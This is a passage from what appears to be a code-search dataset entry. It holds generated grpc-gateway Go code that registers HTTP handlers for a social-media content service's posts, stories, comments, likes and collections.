stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_K8SAPI_ListNamespaceEvents_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "3c6b993ef6ae84394a83adbebb708182", "score": "0.5885254", "text": "func RegisterContentHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ContentServer) error {\n\n\tmux.Handle(\"POST\", pattern_Content_CreatePost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreatePost\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreatePost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreatePost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllPostsReduced_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllPostsReduced\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllPostsReduced_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllPostsReduced_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllPosts_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllPosts\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllPosts_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllPosts_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetPostsForUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetPostsForUser\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetPostsForUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetPostsForUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Content_RemovePost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RemovePost\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RemovePost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RemovePost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetPostById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetPostById\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetPostById_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetPostById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_SearchContentByLocation_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/SearchContentByLocation\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_SearchContentByLocation_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_SearchContentByLocation_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_GetPostsByHashtag_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetPostsByHashtag\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetPostsByHashtag_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetPostsByHashtag_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllHashtags_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllHashtags\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllHashtags_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllHashtags_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateStory_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateStory\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateStory_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateStory_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllStories_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllStories\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllStories_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllStories_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetStoriesForUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetStoriesForUser\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetStoriesForUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetStoriesForUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetMyStories_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetMyStories\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetMyStories_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetMyStories_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Content_RemoveStory_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/RemoveStory\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_RemoveStory_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_RemoveStory_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetStoryById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetStoryById\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetStoryById_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetStoryById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateComment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateComment\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateComment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateComment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetCommentsForPost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetCommentsForPost\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetCommentsForPost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetCommentsForPost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateLike_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateLike\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateLike_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_CreateLike_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetLikesForPost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetLikesForPost\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetLikesForPost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetLikesForPost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetDislikesForPost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetDislikesForPost\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetDislikesForPost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetDislikesForPost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_GetUserLikedOrDislikedPosts_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetUserLikedOrDislikedPosts\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetUserLikedOrDislikedPosts_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetUserLikedOrDislikedPosts_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetAllCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetAllCollections\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetAllCollections_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetAllCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Content_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/GetCollection\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_GetCollection_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Content_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Content_CreateCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/proto.Content/CreateCollection\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Content_CreateCollection_0(rctx, inboundMarshaler, server, req, 